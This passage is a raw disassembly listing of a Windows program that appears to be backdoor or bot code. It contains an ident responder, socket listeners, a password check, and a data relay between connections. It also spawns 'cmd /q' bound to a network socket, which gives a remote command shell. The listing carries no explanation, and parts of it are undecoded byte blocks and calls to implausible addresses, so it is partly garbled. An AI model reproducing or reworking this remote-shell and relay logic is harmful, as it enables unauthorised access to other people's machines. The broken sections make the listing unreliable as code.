		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41847D
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41BD10
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40AE77
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41C100
		add	esp, 34h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C49
		mov	dword ptr [ebp-8], 1
		jmp	loc_410C49
; ---------------------------------------------------------------------------


loc_410D1A:				; CODE XREF: ___:00410C5Ej
		cmp	[ebp-8], esi
		jnz	short loc_410D46


loc_410D1F:				; CODE XREF: ___:00410C05j
					; ___:00410C29j ...
		call	dword_4C9298
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434918
		push	eax
		call	sub_41C006
		lea	eax, [ebp-238h]
		push	eax
		call	sub_415CEE
		add	esp, 10h


loc_410D46:				; CODE XREF: ___:00410D1Dj
		push	ebx
		call	dword_4C939C
		push	dword ptr [ebp-4]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx


loc_410D69:				; DATA XREF: sub_401AC7+609Eo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4C9304
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4C9384
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410ED5
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43C24C[ecx], eax
		call	dword_4C9214
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9330
		test	eax, eax
		jnz	loc_410ED5
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4C932C
		test	eax, eax
		jnz	loc_410ED5


loc_410E19:				; CODE XREF: ___:00410E2Fj
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9398
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_410E19
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4349C4
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B3AD
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43C244[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_410EFA
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dd 26F72CE8h, 4D8B9002h, 34C969C4h, 3B000002h, 548189C6h
		dd 740043C2h, 0D0753913h, 0FF63850Fh, 326AFFFFh, 0F65DE890h
		dd 0EDEB0226h, 0FF07E890h, 68500226h, 434988h, 4E91E8h
		dd 0EB595900h
		db 3
; ---------------------------------------------------------------------------


loc_410ED5:				; CODE XREF: ___:00410DCCj
					; ___:00410E00j ...
		mov	edi, [ebp+8]
		push	edi
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	dword_4C939C
		push	dword ptr [ebp-40h]
		call	sub_40B6C9
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi


loc_410EFA:				; DATA XREF: ___:00410E8Do
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41C2A0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4C9384
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4110B0
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4C9304
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4C9344
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_410F8A
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4C9388
		jmp	short loc_410F98
; ---------------------------------------------------------------------------


loc_410F8A:				; CODE XREF: ___:00410F79j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4C92BC


loc_410F98:				; CODE XREF: ___:00410F88j
		cmp	eax, edi
		jz	loc_4110B0
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4C92AC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4110B0
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_434A4C
		push	eax
		call	sub_41C006
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B3AD
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43C24C[ebx]
		mov	dword_43C244[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43C250[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_4110E1
		push	edi
		push	edi
		call	near ptr 26805C5h
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43C254[ecx], eax
		jz	short loc_41109D


loc_41104A:				; CODE XREF: ___:00411057j
		cmp	[ebp-20h], edi
		jnz	short loc_411059
		push	32h
		call	near ptr 268051Bh
		nop
		jmp	short loc_41104A
; ---------------------------------------------------------------------------


loc_411059:				; CODE XREF: ___:0041104Dj
		mov	ebx, 1000h


loc_41105E:				; CODE XREF: ___:00411099j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C931C
		cmp	eax, edi
		jle	short loc_4110B0
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41105E
		jmp	short loc_4110B0
; ---------------------------------------------------------------------------


loc_41109D:				; CODE XREF: ___:00411048j
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_434A0C
		call	sub_415D62
		pop	ecx
		pop	ecx


loc_4110B0:				; CODE XREF: ___:00410F3Ej
					; ___:00410F9Aj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43C24C[eax]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	dword_4C939C
		push	dword ptr [ebp-4]
		call	sub_40B6C9
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx


loc_4110E1:				; DATA XREF: ___:0041102Ao
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41C2A0
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_411118:				; CODE XREF: ___:0041115Dj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43C250[esi]
		call	dword_4C931C
		test	eax, eax
		jle	short loc_41115F
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43C24C[esi]
		call	dword_4C9354
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411118


loc_41115F:				; CODE XREF: ___:00411142j
		push	dword_43C250[esi]
		call	dword_4C939C
		push	dword ptr [ebp-14h]
		call	sub_40B6C9
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22DEE84h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43C24C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4C92EC
		test	eax, eax
		jnz	short loc_411202
		push	dword ptr [esi]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_411202:				; CODE XREF: ___:004111E8j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4C931C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411383
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_411383
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_411383
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4C9258
		test	eax, eax
		jz	short loc_41127B
		call	dword_4C9298
		push	eax
		push	offset unk_434B24
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		add	esp, 0Ch
		push	edi
		call	near ptr 26F0000h
		nop


loc_41127B:				; CODE XREF: ___:00411256j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4C92BC
		cmp	eax, edi
		jnz	short loc_4112A5
		push	dword ptr [ebp-18h]
		call	dword_4C9390
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C006
		jmp	short loc_4112B3
; ---------------------------------------------------------------------------


loc_4112A5:				; CODE XREF: ___:0041128Bj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41C620


loc_4112B3:				; CODE XREF: ___:004112A3j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset byte_43B4B8
		push	dword ptr [esi]
		call	dword_4C9354
		cmp	dword_4CC06C, edi
		jnz	short loc_411315
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_4113DD
		add	esp, 10h
		test	eax, eax
		jnz	short loc_411315
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4C9354
		push	dword ptr [esi]
		call	dword_4C939C
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		pop	ecx
		push	edi
		nop
		call	near ptr 26F0000h


loc_411315:				; CODE XREF: ___:004112CAj
					; ___:004112EBj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434AE8
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_411694
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41135C
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_434ABC
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		add	esp, 0Ch
		push	ebx
		call	near ptr 26F0000h
		nop


loc_41135C:				; CODE XREF: ___:00411337j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434A90
		call	sub_415D62
		push	dword ptr [ebp+8]
		call	sub_40B6C9
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411383	proc near		; CODE XREF: ___:00411218p
					; ___:00411225p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C931C
		cmp	eax, 1
		jnz	short loc_4113D3
		mov	esi, [ebp+arg_4]


loc_4113A1:				; CODE XREF: sub_411383+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_4113C8
		test	al, al
		jz	short loc_4113D7
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4C931C
		cmp	eax, 1
		jz	short loc_4113A1
		jmp	short loc_4113D3
; ---------------------------------------------------------------------------


loc_4113C8:				; CODE XREF: sub_411383+27j
		push	offset unk_434B50
		call	sub_415D62
		pop	ecx


loc_4113D3:				; CODE XREF: sub_411383+19j
					; sub_411383+43j
		xor	eax, eax
		jmp	short loc_4113DA
; ---------------------------------------------------------------------------


loc_4113D7:				; CODE XREF: sub_411383+2Bj
		push	1
		pop	eax


loc_4113DA:				; CODE XREF: sub_411383+52j
		pop	esi
		leave
		retn
sub_411383	endp


; =============== S U B	R O U T	I N E =======================================



sub_4113DD	proc near		; CODE XREF: ___:004112E1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411408
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_434B7C
		call	sub_415D62
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_411408:				; CODE XREF: sub_4113DD+11j
		push	1
		pop	eax
		retn
sub_4113DD	endp

; ---------------------------------------------------------------------------
dword_41140C	dd 81EC8B55h, 5A4ECh, 8458B00h,	786A5756h, 8DF08B59h, 0FFFDECBDh
					; DATA XREF: sub_401AC7+2364o
		dd 0F3016AFFh, 0B8895FA5h, 1DCh, 0FA5C858Dh, 6850FFFFh
		dd 202h, 927415FFh, 0F633004Ch,	1D74C63Bh, 4CEC6850h, 0FE80043h
		dd 0FF000049h, 6EE8B475h, 83FFFFA2h, 90570CC4h,	2DEB9BE8h
		dd 8A685702h, 0E8004116h, 23807E0h, 75C08590h, 52E89029h
		dd 500226F9h, 434CA868h, 48DCE800h, 59590000h, 925C15FFh
		dd 75FF004Ch, 0A233E8B4h, 5759FFFFh, 0EB62E890h, 6A53022Dh
		dd 0E0458D10h, 65E85056h, 830000A8h, 0C7660CC4h, 2E045h
		dd 0FFB075FFh, 4C930415h, 57066A00h, 8966026Ah,	7589E245h
		dd 8415FFE4h, 8B004C93h, 0FFFB83D8h, 13B840Fh, 458B0000h
		dd 69106AB4h, 234C0h, 4C988900h, 8D0043C2h, 5350E045h
		dd 933015FFh, 0C085004Ch, 117850Fh, 0FF680000h,	537FFFFFh
		dd 932C15FFh, 0C085004Ch, 103850Fh, 6C680000h, 0C700434Ch
		dd 0CF045h, 75890000h, 0F87589F4h, 47C5E8h, 7D895900h
		dd 0FC458D08h, 10FC45C7h, 50000000h, 50CC458Dh,	9815FF53h
		dd 8B004C93h, 0FFFF83F8h, 0CA840Fh, 75FF0000h, 8458D08h
		dd 68086A50h, 0FFFFh, 0E415FF57h, 83004C92h, 0C574FFF8h
		dd 0CE45B70Fh, 89B475FFh, 0FF50C875h, 15FFD075h, 4C9390h
		dd 0EC858D50h, 68FFFFFBh, 434C28h, 0AA78E850h, 858D0000h
		dd 0FFFFFBECh, 4754E850h, 8D570000h, 0FFFBEC85h, 50096AFFh
		dd 0FF9E04E8h, 0B84589FFh, 234C069h, 4D8B0000h,	24C483B4h
		dd 0C2448889h, 458D0043h, 858D50DCh, 0FFFFFDECh, 7E685056h
		dd 8D004111h, 5056F045h, 26EFECE8h, 4D8B9002h, 34C969B8h
		dd 3B000002h, 548189C6h, 740043C2h, 0C8753913h,	0FF37850Fh
		dd 326AFFFFh, 0EF1DE890h, 0EDEB0226h, 0F7C7E890h, 68500226h
		dd 434BECh, 4751E8h, 0EB595900h, 87D8B03h, 929815FFh, 8D50004Ch
		dd 0FFFBEC85h, 4BB468FFh, 0E8500043h, 0A9D6h, 390CC483h
		dd 2075C475h, 0EC858D56h, 0FFFFFFFBh, 8D50C075h, 0FFFDF085h
		dd 0B5FF50FFh, 0FFFFFDECh, 0FF820DE8h, 14C483FFh, 0FBEC858Dh
		dd 0E850FFFFh, 468Ah, 15FF5759h, 4C939Ch, 9C15FF53h, 0FF004C93h
		dd 4C925C15h, 0B475FF00h, 0FFA048E8h, 0E85659FFh, 22DE978h
		dd 0C0335B90h, 4244439h, 0C3C0940Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411694	proc near		; CODE XREF: ___:0041132Dp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_4117E5
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43C24C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42708C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4119B7
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_4116FF
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_434D4C
		call	sub_415D62
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_411739
; ---------------------------------------------------------------------------


loc_4116FF:				; CODE XREF: sub_411694+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_411A69
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411740
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_434D4C
		call	sub_415D62
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 26A07C0h


loc_411739:				; CODE XREF: sub_411694+69j
		xor	eax, eax
		jmp	loc_4117E0
; ---------------------------------------------------------------------------


loc_411740:				; CODE XREF: sub_411694+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27A0000h
		sub	eax, ebx
		jz	short loc_41179A
		dec	eax
		jz	short loc_411794
		dec	eax
		jz	short loc_411780
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_434D18
		call	sub_415D62
		pop	ecx
		pop	ecx
		jmp	short loc_4117AF
; ---------------------------------------------------------------------------


loc_411780:				; CODE XREF: sub_411694+D5j
		mov	edi, dword_4270BC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4117AF
; ---------------------------------------------------------------------------


loc_411794:				; CODE XREF: sub_411694+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_41179E
; ---------------------------------------------------------------------------


loc_41179A:				; CODE XREF: sub_411694+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_41179E:				; CODE XREF: sub_411694+104j
		nop
		call	near ptr 26A07C0h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2730D36h


loc_4117AF:				; CODE XREF: sub_411694+EAj
					; sub_411694+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4C939C
		push	esi
		call	sub_41BA31
		pop	ecx
		push	1
		pop	eax


loc_4117E0:				; CODE XREF: sub_411694+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411694	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4117E5	proc near		; CODE XREF: sub_411694+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_4118CF
		mov	ebx, dword_427114
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427078
		test	eax, eax
		jnz	short loc_411848
		call	near ptr 2680DCDh
		nop
		push	eax
		push	offset unk_434DFC
		jmp	short loc_411868
; ---------------------------------------------------------------------------


loc_411848:				; CODE XREF: sub_4117E5+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_411870
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_434DBC


loc_411868:				; CODE XREF: sub_4117E5+61j
		call	sub_415D62
		pop	ecx
		jmp	short loc_41189E
; ---------------------------------------------------------------------------


loc_411870:				; CODE XREF: sub_4117E5+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_4118DE
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4118D3
		push	offset unk_434D94
		call	sub_415CEE


loc_41189E:				; CODE XREF: sub_4117E5+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4118AA
		push	[ebp+var_4]
		call	edi


loc_4118AA:				; CODE XREF: sub_4117E5+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4118B5
		push	[ebp+var_8]
		call	edi


loc_4118B5:				; CODE XREF: sub_4117E5+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4118BE
		push	eax
		call	edi


loc_4118BE:				; CODE XREF: sub_4117E5+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4118C8
		push	eax
		call	edi


loc_4118C8:				; CODE XREF: sub_4117E5+DEj
		push	esi
		call	sub_41BA31
		pop	ecx


loc_4118CF:				; CODE XREF: sub_4117E5+1Dj
		xor	eax, eax
		jmp	short loc_4118D9
; ---------------------------------------------------------------------------


loc_4118D3:				; CODE XREF: sub_4117E5+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_4118D9:				; CODE XREF: sub_4117E5+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4117E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118DE	proc near		; CODE XREF: sub_4117E5+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BD10
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD10
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_427110
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 26603BDh
		nop
		test	eax, eax
		jz	short loc_41199A
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43C248[eax], ecx
		nop
		call	near ptr 2660000h
		jmp	short loc_4119B0
; ---------------------------------------------------------------------------


loc_41199A:				; CODE XREF: sub_4118DE+9Aj
		nop
		call	near ptr 2680DCDh
		push	eax
		push	offset unk_434E3C
		call	sub_415D62
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4119B0:				; CODE XREF: sub_4118DE+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4118DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4119B7	proc near		; DATA XREF: sub_411694+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270F4
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_4119E0:				; CODE XREF: sub_4119B7+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411A48
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A1B


loc_4119F1:				; CODE XREF: sub_4119B7+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A0B
		cmp	dl, 0Dh
		jz	short loc_411A0B
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A0B:				; CODE XREF: sub_4119B7+44j
					; sub_4119B7+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
